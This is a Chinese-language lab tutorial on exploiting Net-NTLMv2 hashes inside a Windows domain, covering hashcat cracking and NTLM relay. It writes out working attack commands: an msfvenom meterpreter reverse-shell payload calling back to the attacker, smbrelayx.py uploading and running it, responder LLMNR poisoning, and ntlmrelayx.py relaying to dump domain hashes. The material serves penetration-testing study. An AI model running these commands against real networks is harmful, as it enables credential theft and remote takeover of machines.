WEB安全--内网渗透--利用Net-NTLMv2 Hash

一、前言

在前两篇文章中分析了NTLM协议中Net-NTLMv2 Hash的生成、如何捕获Net-NTLMv2 Hash,现在就来探讨一下在内网环境中,如何利用Net-NTLMv2 Hash进行渗透。

二、Net-NTLM Hash的破解

工具:hashcat

原理:利用其内部的字典对Net-NTLMv2 Hash进行爆破。

能不能跑出来就看字典里面有没有了。 在Net-NTLM Hash的破解里面,如果是v1的话,拿到Net-NTLM就相当于拿NTLM HASH这个时候就没有Relay的必要性了;

但是在实际中遇到的例子往往不会是v1,而是v2。这个时候密码强度高一点,基本就跑不出来了,这种情况底下,不妨试一试Relay。

三、利用Net-NTLM Hash进行中间人攻击(Relay)

3.1、原理

中间人攻击:client认为attacker是server端,而server端也以为attacker是client端,attacker在中间起到进行数据转发的作用。

Attacker对type1、type2数据包只做转发,然后当Client发送type3时,Attacker利用自己手中域用户的Net-NTLMv2 Hash构建数据包发送给Server,实现成功登录。

工作组:

NTLM Relay攻击在工作组环境下感觉用处不大,因为工作组只是在一个内网环境中,各个机器并没有明确关系,所以这个时候relay的话需要账号密码相同,但是如果账号密码相同的话,为什么不直接用哈希传递呢?

域:

域环境中的hash都统一存储在域控的NTDS.dit中,如果域内没有限制域用户登录到指定机器,那么就能域用户relay到其他机器或者直接使用域控relay到域机器(域控默认开启smb签名,而其他域机器默认不开启)

所以我们抓到的Net-NTLMv2 Hash必须是域用户的信息,因为在域环境下域用户登录任意机器时,其的Net-NTLM Hash值是相同的。

3.2、实现方式

实验环境:

client:域控@administrator@192.168.228.10

server1: 域机器@192.168.228.13(win2008)

server2:域机器@192.168.228.40(win10)

attacker:kali@192.168.228.110

Impacket中的smbrelayx.py

攻击者伪造一个恶意的SMB服务器,当内网中有client访问这个SMB服务器时,smbrelayx.py将抓到client的NET-NTLM-Hash,然后重放给server端进行身份验证。

Impcaket中的ntlmrelayx.py

ntlmrelayx.py是对smbrelayx的改进,支持多种协议进行中继。

ntlmrelayx.py脚本可以直接用现有的 hash 去尝试重放指定的机器。

生成一个msf远控木马:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.228.110 LPORT=4444 -f exe > shell.exe

msf设置监听:

执行smbrelayx.py

首先将生成的msf马拖到smbrelayx.py同目录下

python3 smbrelayx.py -h 192.168.228.13 -e ./shell.exe (-e选项在目标主机上传并运行payload,这里在server1(域机器)上线木马)

在域控上访问恶意的SMB服务器(attacker:kali@192.168.228.110)

smbrelayx.py拿到了当前用户的NET-NTLM-Hash(域用户)

msf获得了192.168.228.13(server1(域机器))的会话

responder -I eth0 -r -d -v 开启毒化

python3 ntlmrelayx.py -t smb://192.168.228.40(server2(域机器))

在域控资源管理器的地址栏中输入\\bbb时,系统会尝试连接主机"bbbbb"。首先它会检查本地host文件,然后检查DNS,如果都不存在,就会通过LLMNR协议进行多播,在局域网中进行搜索。此时可以在攻击机上看到Responder的响应,然后受害者的Windows机器会向攻击者进行身份验证。

responder开启毒化后将身份验证所需的NET-NTLM-Hash传到192.168.228.40(server2(域机器)),在server端进行验证。

Relay成功后这个脚本重放了445并执行了dumphash的命令,由于是域管用户,所以将server2(域机器)端存储的所有hash都dump出来了。

相关推荐
泯泷9 小时前
第 2 篇:设计第一套字节码:Opcode、Instruction 与 Constant Pool
前端·javascript·安全
泯泷9 小时前
第 1 篇:从 1 + 2 开始:亲手写出第一台 JSVM
前端·javascript·安全
Flynt5 天前
npm v12 来了:allowScripts 默认关闭,我的项目差点跑不起来
安全·npm·node.js
冬奇Lab9 天前
Skill 系列(02):Skill 安全风险——三类攻击面的实战测试
人工智能·安全·开源
Aphasia31113 天前
VPN 与内网穿透
安全
Mr_愚人派14 天前
当"Claude"不再是 Claude:一次第三方 API 代理引发的 AI 身份伪造排查实录
人工智能·安全
DaLi Yao14 天前
【无标题】
人工智能·安全
Alsn8614 天前
等待学习-学习目录:Docker 容器安全攻防
学习·安全·docker
网络研究院14 天前
2026年网络安全
网络·安全·法律·法规·趋势·发展
treesforest14 天前
AI安全系统如何识别异常访问?IP风险识别正在成为关键能力
网络·人工智能·tcp/ip·安全·web安全